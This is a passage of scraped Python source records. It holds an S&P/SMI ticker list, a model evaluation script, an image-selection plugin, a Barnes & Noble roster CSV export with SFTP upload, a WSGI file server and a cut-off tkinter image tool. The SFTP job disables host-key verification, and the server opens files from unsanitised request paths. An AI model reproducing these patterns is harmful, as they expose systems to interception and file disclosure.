Discretionary','USD'),\n ('RE','Financials','USD'),\n ('REG','Real Estate','USD'),\n ('REGN','Health Care','USD'),\n ('RF','Financials','USD'),\n ('RHI','Industrials','USD'),\n ('RHT','Information Technology','USD'),\n ('RJF','Financials','USD'),\n ('RL','Consumer Discretionary','USD'),\n ('RMD','Health Care','USD'),\n ('ROK','Industrials','USD'),\n ('ROL','Industrials','USD'),\n ('ROP','Industrials','USD'),\n ('ROST','Consumer Discretionary','USD'),\n ('RSG','Industrials','USD'),\n ('RTN','Industrials','USD'),\n ('SBAC','Real Estate','USD'),\n ('SBUX','Consumer Discretionary','USD'),\n ('SCHW','Financials','USD'),\n ('SEE','Materials','USD'),\n ('SHW','Materials','USD'),\n ('SIVB','Financials','USD'),\n ('SJM','Consumer Staples','USD'),\n ('SLB','Energy','USD'),\n ('SLG','Real Estate','USD'),\n ('SNA','Industrials','USD'),\n ('SNPS','Information Technology','USD'),\n ('SO','Utilities','USD'),\n ('SPG','Real Estate','USD'),\n ('SPGI','Financials','USD'),\n ('SRE','Utilities','USD'),\n ('STI','Financials','USD'),\n ('STT','Financials','USD'),\n ('STX','Information Technology','USD'),\n ('STZ','Consumer Staples','USD'),\n ('SWK','Industrials','USD'),\n ('SWKS','Information Technology','USD'),\n ('SYF','Financials','USD'),\n ('SYK','Health Care','USD'),\n ('SYMC','Information Technology','USD'),\n ('SYY','Consumer Staples','USD'),\n ('T','Communication Services','USD'),\n ('TAP','Consumer Staples','USD'),\n ('TDG','Industrials','USD'),\n ('TEL','Information Technology','USD'),\n ('TFX','Health Care','USD'),\n ('TGT','Consumer Discretionary','USD'),\n ('TIF','Consumer Discretionary','USD'),\n ('TJX','Consumer Discretionary','USD'),\n ('TMK','Financials','USD'),\n ('TMO','Health Care','USD'),\n ('TPR','Consumer Discretionary','USD'),\n ('TRIP','Communication Services','USD'),\n ('TROW','Financials','USD'),\n ('TRV','Financials','USD'),\n ('TSCO','Consumer Discretionary','USD'),\n ('TSN','Consumer Staples','USD'),\n ('TSS','Information Technology','USD'),\n ('TTWO','Communication Services','USD'),\n ('TWTR','Communication Services','USD'),\n ('TXN','Information Technology','USD'),\n ('TXT','Industrials','USD'),\n ('UA','Consumer Discretionary','USD'),\n ('UAA','Consumer Discretionary','USD'),\n ('UAL','Industrials','USD'),\n ('UDR','Real Estate','USD'),\n ('UHS','Health Care','USD'),\n ('ULTA','Consumer Discretionary','USD'),\n ('UNH','Health Care','USD'),\n ('UNM','Financials','USD'),\n ('UNP','Industrials','USD'),\n ('UPS','Industrials','USD'),\n ('URI','Industrials','USD'),\n ('USB','Financials','USD'),\n ('UTX','Industrials','USD'),\n ('V','Information Technology','USD'),\n ('VAR','Health Care','USD'),\n ('VFC','Consumer Discretionary','USD'),\n ('VIAB','Communication Services','USD'),\n ('VLO','Energy','USD'),\n ('VMC','Materials','USD'),\n ('VNO','Real Estate','USD'),\n ('VRSK','Industrials','USD'),\n ('VRSN','Information Technology','USD'),\n ('VRTX','Health Care','USD'),\n ('VTR','Real Estate','USD'),\n ('VZ','Communication Services','USD'),\n ('WAT','Health Care','USD'),\n ('WBA','Consumer Staples','USD'),\n ('WCG','Health Care','USD'),\n ('WDC','Information Technology','USD'),\n ('WEC','Utilities','USD'),\n ('WELL','Real Estate','USD'),\n ('WFC','Financials','USD'),\n ('WHR','Consumer Discretionary','USD'),\n ('WLTW','Financials','USD'),\n ('WM','Industrials','USD'),\n ('WMB','Energy','USD'),\n ('WMT','Consumer Staples','USD'),\n ('WRK','Materials','USD'),\n ('WU','Information Technology','USD'),\n ('WY','Real Estate','USD'),\n ('WYNN','Consumer Discretionary','USD'),\n ('XEC','Energy','USD'),\n ('XEL','Utilities','USD'),\n ('XLNX','Information Technology','USD'),\n ('XOM','Energy','USD'),\n ('XRAY','Health Care','USD'),\n ('XRX','Information Technology','USD'),\n ('XYL','Industrials','USD'),\n ('YUM','Consumer Discretionary','USD'),\n ('ZBH','Health Care','USD'),\n ('ZION','Financials','USD'),\n ('ZTS','Health Care','USD')\n ]\nsmi = [\n ('ABBN.SWI','','CHF'),\n ('ADEN.SWI','','CHF'),\n ('BAER.SWI','','CHF'),\n ('CFR.SWI','','CHF'),\n ('CSGN.SWI','','CHF'),\n ('GEBN.SWI','','CHF'),\n ('GIVN.SWI','','CHF'),\n ('LHN.SWI','','CHF'),\n ('LONN.SWI','','CHF'),\n ('NESN.SWI','','CHF'),\n ('NOVN.SWI','','CHF'),\n ('ROG.SWI','','CHF'),\n ('SCMN.SWI','','CHF'),\n ('SGSN.SWI','','CHF'),\n ('SIKA.SWI','','CHF'),\n ('SLHN.SWI','','CHF'),\n ('SREN.SWI','','CHF'),\n ('UBSG.SWI','','CHF'),\n ('UHR.SWI','','CHF'),\n ('ZURN.SWI','','CHF')\n \n ]","sub_path":"tickers.py","file_name":"tickers.py","file_ext":"py","file_size_in_byte":23151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"428042245","text":"from tqdm import tqdm\nimport numpy as np\nimport torch\nfrom torch.utils.data import DataLoader\nfrom .preprocess import AttnDataset\nfrom .nn_models.attn_aggregate import AttnAggregateModel\nfrom .nn_models.baseline import BaselineModel\nfrom .evaluation.eval_metric import eval_sp\nfrom .evaluation.analysis import get_analysis\nfrom .std import *\nfrom . import config\n\nlogger = logging.getLogger(__name__)\n\n\ndef main():\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('-llv',\n default='INFO',\n help='Logging level')\n parser.add_argument('-log',\n default=None,\n help='Output log file')\n parser.add_argument('-model_file_name',\n required=True,\n help='trained model_file_name')\n parser.add_argument('-data_type',\n required=True)\n parser.add_argument('-adjust_weight',\n default=False,\n action='store_true')\n parser.add_argument('-transform',\n default=False,\n action='store_true')\n parser.add_argument('-batch_size',\n default=16,\n type=int,\n help='batch size')\n parser.add_argument('-sentence',\n type=int,\n default=1)\n parser.add_argument('-multiBERTs',\n default=False,\n action='store_true')\n parser.add_argument('-max_length',\n type=int,\n default=512)\n args = parser.parse_args()\n\n myLogFormat = '%(asctime)s **%(levelname)s** [%(name)s:%(lineno)s] - %(message)s'\n logging.basicConfig(level=str2llv(args.llv), format=myLogFormat, datefmt='%Y/%m/%d %H:%M:%S')\n if args.log:\n myhandlers = log_w(args.log)\n logger.addHandler(myhandlers)\n logger.log(100, ' '.join(sys.argv))\n else:\n logger.log(100, ' '.join(sys.argv))\n \n trained_baseline_model = BaselineModel()\n model = AttnAggregateModel(args.sentence, args.adjust_weight, trained_baseline_model=trained_baseline_model, transform=args.transform)\n \n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n model_folder = str(config.TRAINED_MODELS / args.model_file_name)\n model_path = get_model_path(model_folder)\n model.load_state_dict(torch.load(model_path, map_location=device))\n model.eval()\n \n # train set\n logger.info(\"Evaluate train set\")\n train_data = json_load(config.FGC_TRAIN)\n train_set = AttnDataset(train_data, args.data_type, args.multiBERTs, args.sentence, args.max_length, False)\n get_eval(model, train_data, args.batch_size, train_set, args.model_file_name, device, \"train_analysis.txt\")\n \n # dev set\n logger.info(\"Evaluate dev set\")\n dev_data = json_load(config.FGC_DEV)\n dev_set = AttnDataset(dev_data, args.data_type, args.multiBERTs, args.sentence, args.max_length, False)\n get_eval(model, dev_data, args.batch_size, dev_set, args.model_file_name, device, \"dev_analysis.txt\")\n \n # test set\n logger.info(\"Evaluate test set\")\n test_data = json_load(config.FGC_TEST)\n test_set = AttnDataset(test_data, args.data_type, args.multiBERTs, args.sentence, args.max_length, False)\n get_eval(model, test_data, args.batch_size, test_set, args.model_file_name, device, \"test_analysis.txt\")\n\n\ndef get_eval(model, data, batch_size, dataset, model_file_path, device, output_file_name):\n cumulative_len = dataset.cumulative_len\n indices_golds = dataset.shints\n \n with torch.no_grad():\n counter = 0\n dataloader = DataLoader(dataset, batch_size=batch_size,\n shuffle=False, num_workers=batch_size)\n indices_preds = []\n all_weights = []\n all_scores = []\n\n current_document_labels = []\n current_document_weights = []\n current_document_scores = []\n for batch in tqdm(dataloader):\n for key in batch.keys():\n batch[key] = batch[key].to(device)\n predict_se = model.module.predict if hasattr(model, 'module') else model.predict\n current_labels, current_scores, current_weights = predict_se(batch)\n\n for label, weight, score in zip(current_labels, current_weights, current_scores):\n if counter + 1 in cumulative_len:\n current_document_labels += label\n current_document_weights.append(weight)\n current_document_scores += score\n current_document_indices = np.where(np.array(current_document_labels) == 1)[0].tolist()\n indices_preds.append(current_document_indices)\n all_weights.append(current_weights)\n all_scores.append(current_document_scores)\n current_document_labels = []\n current_document_weights = []\n current_document_scores = []\n \n else:\n current_document_labels += label\n current_document_weights.append(weight)\n current_document_scores += score\n \n counter = counter + 1\n \n logger.debug(\"indices_golds:{}\".format(len(indices_golds)))\n logger.debug(\"indices_preds:{}\".format(len(indices_preds)))\n\n assert len(indices_golds) == len(indices_preds) == len(all_weights)\n\n metrics = eval_sp(indices_golds, indices_preds)\n preprocessed_data = eval_preprocess(data, indices_preds, all_weights, all_scores)\n with open(model_file_path+'/'+output_file_name, 'w') as f:\n f.write(str(metrics) + '\\n')\n f.write(get_analysis(preprocessed_data))\n\n\ndef eval_preprocess(data, indices_preds, all_weights, all_scores):\n for document_i, document in enumerate(data):\n document['QUESTIONS'][0]['sp'] = indices_preds[document_i]\n document['QUESTIONS'][0]['scores'] = all_scores[document_i]\n document['QUESTIONS'][0]['weights'] = all_weights[document_i]\n return data\n\n\nif __name__=='__main__':\n main()\n\n","sub_path":"src/predict_attn_aggregate.py","file_name":"predict_attn_aggregate.py","file_ext":"py","file_size_in_byte":6235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"356720087","text":"import os\nimport csv\nimport maskgen\nfrom maskgen.external.api import BrowserAPI\n\n\"\"\"\nPick an image from the browser .\nUsed with batch project's ImageSelectionPluginOperation\n\"\"\"\n\ndef loadExclusions(filename):\n import json\n with open(filename,'r') as fp:\n return json.load(fp, encoding='utf-8')['data']\n\ndef transform(img, source, target, **kwargs):\n import json\n api = BrowserAPI()\n prefix = kwargs['prefix'] if 'prefix' in kwargs['prefix'] else 'images'\n directory = kwargs['directory'] if 'directory' in kwargs else '.'\n query_param = kwargs['query json'] if 'query json' in kwargs else '{}'\n query = query_param if type(query_param) == dict else json.loads(query_param)\n exclusions = None\n skip = set()\n if 'exclusions file' in kwargs:\n source_name = os.path.basename(source)\n exclusions_map = loadExclusions(kwargs['exclusions file'])\n for k,v in exclusions_map.iteritems():\n skip.add(k)\n if source_name[0:len(k)] == k:\n exclusions = v\n return {'file': api.pull(query, directory=directory, exclusions=exclusions,prefix = prefix)}, None\n\n\ndef operation():\n return {'name': 'SelectFile',\n 'category': 'Select',\n 'description': 'Select image based on a pairing to an existing image.',\n 'software': 'maskgen',\n 'version': maskgen.__version__[0:3],\n 'arguments': {'directory': {'type': \"text\",\n 'description': \"location of the paired images\"},\n 'prefix': {'type': \"list\",\n 'values': ['images','videos'],\n 'description': \"type\"},\n 'exclusions file': {\n 'type': \"text\",\n 'description': \"location of file with exclusions\"},\n 'query json': {'type': \"text\",\n 'description': \"JSON queru\"}\n },\n 'transitions': [\n 'image.image'\n ]\n }\n\n\ndef suffix():\n return None\n","sub_path":"plugins/PickMediaFromBrowser/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"356839847","text":"import json\n\ndef saveToFile(data,fileName=\"dataToFile\",fileType=\"txt\"):\n dataFile=open(\"../data/\"+fileName+\".\"+fileType,'w')\n if fileType=='txt':\n fileContent=''\n for row in data:\n for d in row:\n fileContent+=str(d)+'\\t'\n fileContent+='\\n'\n dataFile.write(fileContent)\n if fileType=='json':\n dataFile.write(json.dumps(data))\n dataFile.close()","sub_path":"code/dataToFile.py","file_name":"dataToFile.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"116969117","text":"#! /usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\nimport django\r\nimport os\r\nimport pysftp\r\nimport sys\r\nimport shutil\r\nimport zipfile\r\nimport os.path\r\nimport datetime\r\n\r\nfrom datetime import date, timedelta, datetime\r\n\r\nfrom os import path\r\n\r\nfrom django.conf import settings\r\nfrom djimix.core.utils import get_connection\r\nfrom djimix.core.utils import xsql\r\nfrom django.core.cache import cache\r\nfrom djtools.utils.mail import send_mail\r\n\r\nfrom djmapache.sql.barnesandnoble.crs_enr_sql import COURSES, USERS, \\\r\n ENROLLMENTS\r\n\r\n# django settings for shell environment\r\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'djmapache.settings.shell')\r\n\r\n# required for interacting with django infrastructure e.g. templates\r\ndjango.setup()\r\n\r\n\r\n# informix environment\r\nos.environ['INFORMIXSERVER'] = settings.INFORMIXSERVER\r\nos.environ['DBSERVERNAME'] = settings.DBSERVERNAME\r\nos.environ['INFORMIXDIR'] = settings.INFORMIXDIR\r\nos.environ['ODBCINI'] = settings.ODBCINI\r\nos.environ['ONCONFIG'] = settings.ONCONFIG\r\nos.environ['INFORMIXSQLHOSTS'] = settings.INFORMIXSQLHOSTS\r\nos.environ['LD_LIBRARY_PATH'] = settings.LD_LIBRARY_PATH\r\nos.environ['LD_RUN_PATH'] = settings.LD_RUN_PATH\r\n\r\nDEBUG = settings.DEBUG\r\nINFORMIX_DEBUG = settings.INFORMIX_DEBUG\r\nBASE_DIR = settings.BASE_DIR\r\nTO = settings.BARNESNOBLE_TO_EMAIL\r\nFROM = settings.BARNESNOBLE_FROM_EMAIL\r\nSUBJECT = \"[Barnes & Noble] upload {status}\".format\r\n\r\n\r\ndef fn_format_date(date):\r\n if len(date) == 10:\r\n ret = date[6:] + \"-\" + date[:2] + '-' + date[3:5]\r\n else:\r\n ret = \"\"\r\n return ret\r\n\r\ndef main():\r\n \"\"\"Barnes and Noble Upload.\"\"\"\r\n ###########################################################################\r\n # OpenSSH 7.0 and greater disable the ssh-dss (DSA) public key algorithm,\r\n # which B&N use for authentication on their servers, so you have to add\r\n # ssh-dss to the ssh/sftp command:\r\n #\r\n # -oHostKeyAlgorithms=+ssh-dss\r\n #\r\n # or add the following to the cron user's .ssh/config file:\r\n #\r\n # Host rex-sftp.bncollege.com\r\n # HostName rex-sftp.bncollege.com\r\n # HostKeyAlgorithms=+ssh-dss\r\n ###########################################################################\r\n\r\n # Defines file names and directory location\r\n # bn_course_fil = ('{0}carthage_students.txt'.format(\r\n # settings.ADIRONDACK_TXT_OUTPUT)\r\n # )\r\n\r\n # bn_course_file = settings.BARNES_N_NOBLE_CSV_OUTPUT + \"courses.csv\"\r\n # bn_enr_fil = settings.BARNES_N_NOBLE_CSV_OUTPUT + \"enrollments.csv\"\r\n # bn_usr_fil = settings.BARNES_N_NOBLE_CSV_OUTPUT + \"users.csv\"\r\n # bn_zip_fil = settings.BARNES_N_NOBLE_CSV_OUTPUT + \"carthage_bn\"\r\n\r\n \"\"\"To get the last query date from cache\"\"\"\r\n\r\n last_sql_date = cache.get('BN_Sql_date')\r\n # print(last_sql_date)\r\n\r\n bn_course_file = \"courses.csv\"\r\n bn_enr_fil = \"enrollments.csv\"\r\n bn_usr_fil = \"users.csv\"\r\n bn_zip_fil = \"carthage_bncroster.zip\"\r\n # /data2/www/data/barnesandnoble/enrollments/carthage_bncroster.zip\"\"\r\n\r\n # print(settings.BARNES_N_NOBLE_CSV_OUTPUT + bn_zip_fil)\r\n if path.exists(settings.BARNES_N_NOBLE_CSV_OUTPUT + bn_zip_fil):\r\n os.remove(settings.BARNES_N_NOBLE_CSV_OUTPUT + bn_zip_fil)\r\n\r\n \"\"\"Create the headers for the three files\"\"\"\r\n fil = open(bn_course_file, 'w')\r\n fil.write(\"recordNumber,campus,school,institutionDepartment,term,\"\r\n \"department,course,section,campusTitle,schoolTitle,\"\r\n \"institutionDepartmentTitle,courseTitle,\"\r\n \"institutionCourseCode,institutionClassCode,\"\r\n \"institutionSubjectCodes,institutionSubjectsTitle,\"\r\n \"crn,termTitle,termType,termStartDate,termEndDate,\"\r\n \"sectionStartDate,sectionEndDate,classGroupId,\"\r\n \"estimatedEnrollment\" + \"\\n\")\r\n fil.close()\r\n\r\n fil1 = open(bn_enr_fil, 'w')\r\n fil1.write(\"recordNumber,campus,school,institutionDepartment,term,\"\r\n \"department,course,section,email,firstName,middleName,\"\r\n \"lastName,userRole,sisUserId,includedInCourseFee,\"\r\n \"studentFullPartTimeStatus,creditHours\" + \"\\n\")\r\n fil1.close()\r\n\r\n\r\n fil2 = open(bn_usr_fil, 'w')\r\n fil2.write(\"recordNumber,campus,school,email,firstName,middleName,\"\r\n \"lastName,userRole,sisUserId\" + \"\\n\")\r\n fil2.close()\r\n\r\n\r\n try:\r\n # set global variable\r\n # global EARL\r\n # # determines which database is being called from the command line\r\n # if database == 'cars':\r\n EARL = settings.INFORMIX_ODBC\r\n # elif database == 'train':\r\n # EARL = settings.INFORMIX_ODBC_TRAIN\r\n # else:\r\n # print(\"database must be: 'cars' or 'train'\")\r\n # exit(-1)\r\n\r\n crs_qry = COURSES\r\n\r\n connection = get_connection(EARL)\r\n # connection closes when exiting the 'with' block\r\n blank = \"\"\r\n with connection:\r\n data_result = xsql(\r\n crs_qry, connection, key=settings.INFORMIX_DEBUG\r\n ).fetchall()\r\n\r\n ret = list(data_result)\r\n if ret is None:\r\n # print(\"No result\")\r\n SUBJECT = \"[Barnes and Noble Crs Enr] Application failed\"\r\n BODY = \"Course Query returned no data.\"\r\n send_mail(\r\n None, settings.BARNES_N_NOBLE_TO_EMAIL, SUBJECT,\r\n settings.BARNES_N_NOBLE_FROM_EMAIL, 'email.html', BODY, )\r\n\r\n else:\r\n # print(ret)cd\r\n cnt = 1\r\n\r\n # print(\"Open file 1\")\r\n fil = open(bn_course_file, 'a')\r\n for row in ret:\r\n # fil.write(row)\r\n campus = '\"' + row[0] + '\"'\r\n # school = '\"' + row[1] + '\"'\r\n school = '\"' + blank + '\"'\r\n institutionDepartment = row[2]\r\n term = '\"' + row[3] + '\"'\r\n department = '\"' + row[4] + '\"'\r\n course = '\"' + row[5] + '\"'\r\n SectionCode = '\"' + row[6] + '\"'\r\n campusTitle = '\"' + row[7] + '\"'\r\n # schoolTitle = '\"' + row[8] + '\"'\r\n schoolTitle = '\"' + blank + '\"'\r\n institutionDepartmentTitle = '\"' + row[9] + '\"'\r\n courseTitle = '\"' + row[10].strip() + '\"'\r\n institutionCourseCode = '\"' + row[11] + '\"'\r\n institutionClassCode = '\"' + row[12] + '\"'\r\n institutionSubjectCodes = '\"' + row[13] + '\"'\r\n institutionSubjectsTitle = '\"' + row[14].strip() + '\"'\r\n crn = '\"' + row[15] + '\"'\r\n termTitle = '\"' + row[16] + '\"'\r\n termType = '\"' + row[17] + '\"'\r\n termStartDate = '\"' + fn_format_date(row[18]) + '\"'\r\n termEndDate = '\"' + fn_format_date(row[19]) + '\"'\r\n sectionStartDate = '\"' + fn_format_date(row[20]) + '\"'\r\n sectionEndDate = '\"' + fn_format_date(row[21]) + '\"'\r\n classGroupId = '\"' + row[22] + '\"'\r\n estimatedEnrollment = str(row[23])\r\n\r\n lin = str(cnt) + \",\" + campus + \",\" + school + \",\" + \\\r\n institutionDepartment + \",\" + term + \",\" + \\\r\n department + \",\" + course + \",\" + SectionCode + \",\" + \\\r\n campusTitle + \",\" + schoolTitle + \",\" + \\\r\n institutionDepartmentTitle + \",\" + courseTitle \\\r\n + \",\" + institutionCourseCode + \",\" + \\\r\n institutionClassCode + \",\" + institutionSubjectCodes \\\r\n + \",\" + institutionSubjectsTitle + \",\" + crn + \",\" + \\\r\n termTitle + \",\" + termType + \",\" + termStartDate \\\r\n + \",\" + termEndDate + \",\" + sectionStartDate + \",\" + \\\r\n sectionEndDate + \",\" + classGroupId + \",\" + \\\r\n estimatedEnrollment + \"\\n\"\r\n\r\n fil.write(lin)\r\n cnt = cnt + 1\r\n fil.close()\r\n # print(\"Close file 1\")\r\n\r\n\r\n connection = get_connection(EARL)\r\n # connection closes when exiting the 'with' block\r\n with connection:\r\n data_result = xsql(\r\n USERS, connection, key=settings.INFORMIX_DEBUG\r\n ).fetchall()\r\n\r\n ret = list(data_result)\r\n if ret is None:\r\n # print(\"No result\")\r\n SUBJECT = \"[Barnes and Noble Crs Enr] Application failed\"\r\n BODY = \"User Query returned no data.\"\r\n send_mail(\r\n None, settings.BARNES_N_NOBLE_TO_EMAIL, SUBJECT,\r\n settings.BARNES_N_NOBLE_FROM_EMAIL, 'email.html', BODY, )\r\n\r\n else:\r\n # print(ret)\r\n cnt = 1\r\n # print(\"Open file 2\")\r\n\r\n fil2 = open(bn_usr_fil, 'a')\r\n for row in ret:\r\n # print(row)\r\n campus = '\"' + row[0] + '\"'\r\n school = '\"' + blank + '\"'\r\n email = '\"' + row[2] + '\"'\r\n firstname = '\"' + row[3] + '\"'\r\n middlename = '\"' + row[4] + '\"'\r\n lastname = '\"' + row[5] + '\"'\r\n role = '\"' + row[6].strip() + '\"'\r\n username = '\"' + str(row[8]) + '\"'\r\n\r\n lin = str(cnt) + \",\" + campus + \",\" + school + \",\" + \\\r\n email + \",\" + firstname + \",\" + \\\r\n middlename + \",\" + lastname + \",\" + role + \",\" + \\\r\n username + \"\\n\"\r\n\r\n # print(lin)\r\n\r\n fil2.write(lin)\r\n cnt = cnt + 1\r\n fil2.close()\r\n # print(\"Close file 2\")\r\n\r\n\r\n \"\"\"Connect to Database\"\"\"\r\n connection = get_connection(EARL)\r\n # connection closes when exiting the 'with' block\r\n with connection:\r\n data_result = xsql(\r\n ENROLLMENTS, connection, key=settings.INFORMIX_DEBUG\r\n ).fetchall()\r\n\r\n ret = list(data_result)\r\n if ret is None:\r\n # print(\"No result\")\r\n SUBJECT = \"[Barnes and Noble Crs Enr] Application failed\"\r\n BODY = \"ENROLLMENTS Query returned no data.\"\r\n send_mail(\r\n None, settings.BARNES_N_NOBLE_TO_EMAIL, SUBJECT,\r\n settings.BARNES_N_NOBLE_FROM_EMAIL, 'email.html', BODY, )\r\n\r\n else:\r\n # print(ret)\r\n cnt = 1\r\n # print(\"Open file 3\")\r\n fil3 = open(bn_enr_fil, 'a')\r\n for row in ret:\r\n # print(row)\r\n campus = '\"' + row[0] + '\"'\r\n school = '\"' + blank + '\"'\r\n inst_dept = '\"' + row[2] + '\"'\r\n term = '\"' + row[3] + '\"'\r\n dept = '\"' + row[4] + '\"'\r\n course = '\"' + row[5] + '\"'\r\n section = '\"' + row[6].strip() + '\"'\r\n email = '\"' + row[7] + '\"'\r\n\r\n firstname = '\"' + row[8] + '\"'\r\n middlename = '\"' + row[9] + '\"'\r\n lastname = '\"' + row[10] + '\"'\r\n role = '\"' + row[11] + '\"'\r\n userid = '\"' + str(row[12]) + '\"'\r\n includeinfee = '\"' + row[13] + '\"'\r\n fulltimestatus = '\"' + row[14] + '\"'\r\n credit_hours = '\"' + str(row[15]) + '\"'\r\n\r\n lin = str(cnt) + \",\" + campus + \",\" + school + \",\" + \\\r\n inst_dept + \",\" + term + \",\" + \\\r\n dept + \",\" + course + \",\" + \\\r\n section + \",\" + email + \",\" + \\\r\n firstname + \",\" + middlename + \",\" + \\\r\n lastname + \",\" + role + \",\" + userid + \",\" + \\\r\n includeinfee + \",\" + fulltimestatus + \",\" + \\\r\n credit_hours + \"\\n\"\r\n\r\n # print(lin)\r\n fil3.write(lin)\r\n cnt = cnt + 1\r\n fil3.close()\r\n # print(\"Close file 3\")\r\n\r\n\r\n \"\"\"Create Archive\"\"\"\r\n zf = zipfile.ZipFile(bn_zip_fil, mode='w')\r\n\r\n zf.write(bn_course_file)\r\n zf.write(bn_usr_fil)\r\n zf.write(bn_enr_fil)\r\n\r\n \"\"\"Move Zip File\"\"\"\r\n shutil.move(bn_zip_fil, settings.BARNES_N_NOBLE_CSV_OUTPUT)\r\n\r\n \"\"\"Send the file...\"\"\"\r\n cnopts = pysftp.CnOpts()\r\n cnopts.hostkeys = None\r\n xtrnl_connection = {\r\n 'host': settings.BARNESNOBLE_AIP_HOST,\r\n 'username': settings.BARNESNOBLE_AIP_USER,\r\n 'port': settings.BARNESNOBLE_AIP_PORT,\r\n 'private_key': settings.BARNESNOBLE_AIP_KEY,\r\n 'cnopts': cnopts,\r\n }\r\n\r\n try:\r\n with pysftp.Connection(**xtrnl_connection) as sftp:\r\n sftp.cwd('inbox')\r\n print(\"Connected\")\r\n\r\n remotepath = sftp.listdir()\r\n # print(remotepath)\r\n\r\n phile = os.path.join(settings.BARNES_N_NOBLE_CSV_OUTPUT\r\n + bn_zip_fil)\r\n print(\"Put \" + phile)\r\n sftp.put(phile)\r\n sftp.close()\r\n\r\n # print(\"Remove temp csv files\")\r\n os.remove(bn_usr_fil)\r\n os.remove(bn_course_file)\r\n os.remove(bn_enr_fil)\r\n\r\n except Exception as error:\r\n # print(\"Unable to PUT settings.BARNES_N_NOBLE_CSV_OUTPUT + \"\r\n # \"bn_zip_fil to Barnes and Noble \"\r\n # \"server.\\n\\n{0}\".format(error))\r\n SUBJECT = \"[Barnes and Noble Crs Enr] Application failed\"\r\n BODY = \"Unable to PUT settings.BARNES_N_NOBLE_CSV_OUTPUT \" \\\r\n + bn_zip_fil \\\r\n + \" to Barnes and Noble server.\\n\\n{0}\".format(error)\r\n\r\n send_mail(None, TO, SUBJECT(status='failed'), FROM,\r\n 'email.html', body, )\r\n\r\n send_mail(\r\n None, settings.BARNES_N_NOBLE_TO_EMAIL, SUBJECT,\r\n settings.BARNES_N_NOBLE_FROM_EMAIL, 'email.html', BODY, )\r\n\r\n #To set a new date in cache\r\n a = datetime.now()\r\n last_sql_date = a.strftime('%Y-%m-%d %H:%M:%S')\r\n cache.set('BN_Sql_date', last_sql_date)\r\n\r\n except Exception as e:\r\n print(\"Error in main: \" + str(e))\r\n SUBJECT = \"[Barnes and Noble Crs Enr] Application failed\"\r\n BODY = \"Error in main: \" + str(e)\r\n send_mail(\r\n None,\r\n settings.BARNES_N_NOBLE_TO_EMAIL,\r\n SUBJECT,\r\n settings.BARNES_N_NOBLE_FROM_EMAIL,\r\n 'email.html',\r\n BODY,\r\n )\r\n\r\n\r\nif __name__ == \"__main__\":\r\n sys.exit(main())\r\n","sub_path":"djmapache/bin/barnesandnoble_crs_enr.py","file_name":"barnesandnoble_crs_enr.py","file_ext":"py","file_size_in_byte":15159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"259040446","text":"import mimetypes\nfrom wsgiref.simple_server import make_server\n\n\ndef app(environ, start_response):\n path_info = environ[\"PATH_INFO\"]\n mimetypes.add_type('application/wasm', '.wasm')\n mimetypes.add_type('text/html', '.data')\n if path_info == '/':\n path_info = \"/olapy.html\"\n\n resource = \"_build\" + path_info\n headers = []\n headers.append((\"Content-Type\", mimetypes.guess_type(path_info.split(\"/\")[-1])[0]))\n headers.append(('Access-Control-Allow-Origin', '*'))\n\n with open(resource, \"rb\") as f:\n resp_file = f.read()\n\n start_response(\"200 OK\", headers)\n return [resp_file]\n\n\ndef runserver(environ, start_response):\n # http://127.0.0.1:8080/cubes/sales/Facts.csv\n server = make_server(\"0.0.0.0\", 8080, app)\n server.serve_forever()\n","sub_path":"build_olapy_by_yourself/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"536756286","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import filedialog as fd\nimport random\nfrom tkinter import*\nfrom PIL import Image\n\n\n# create the root window\nroot = tk.Tk()\nroot.geometry('300x150')\n\n# comment this function\n'''\ndef get_file():\n global my_image\n filename = input(\"please give a file name \")\n my_image = Image.open(filename)\n'''\n\n\n# add this function to your code\ndef select_files():\n filetypes = (('image files', '*.jpg *.png'), ('All files', '*.*'))\n filename = fd.askopenfilename(title='Open files', initialdir='/', filetypes=filetypes)\n my_image = Image.open(filename)\n # change this call to your function name\n loop_img(my_image)\n # change this call to your function name\n\n\n# add the parameter my_image to your function\ndef loop_img(my_image):\n # random_int = random.randint(0,10)\n # my_image = Image.new(mode=\"RGB\",size=(10,10),color=(0,0,0))\n sliderred2 = sliderred.get()\n sliderblue2 = sliderblue.get()\n slidergreen2 = slidergreen.get()\n\n skiplines = spin1.get()\n skiplines_int = int(skiplines)\n\n skip_pixels = spin2.get()\n skip_pixels_int = int(skip_pixels)\n\n print (slidergreen2,sliderred2,sliderblue2)\n\n\n rows = my_image.size[0]\n cols = my_image.size[1]\n\n\n px = my_image.load()\n\n for i in range(0, rows, skiplines_int):\n start = random.randint(0, rows)\n end = random.randint(0, cols)\n nub = random.randint(1, 10)\n\n if i % 2 == 0:\n start = 0\n else:\n start = 1\n\n for j in range(start, cols, nub):\n # you should have your slider code here\n # you should have your slider code here\n # you should have your slider code here\n red = random.randint(0, sliderred2)\n green = random.randint(0, slidergreen2)\n blue = random.randint(0, sliderblue2)\n '''\n if j % 2 == 0:\n red = 0\n green = 0\n blue = 0\n else:\n red = 255\n green = 255\n blue = 255\n '''\n px[i, j] = (red, green, blue)\n\n my_image.show()\n\nsliderred = Scale(root,from_=0, to=255, orient=HORIZONTAL, background='red', fg='grey')\nsliderred.grid(row=7, column=1)\nsliderblue = Scale(root,from_=0, to=255, orient=HORIZONTAL, background='blue', fg='grey')\nsliderblue.grid(row=8, column=1)\nslidergreen = Scale(root,from_=0, to=255, orient=HORIZONTAL, background='green', fg='grey')\nslidergreen.grid(row=8, column=2)\n\nspin1 = Spinbox(root, from_=1, to=10, 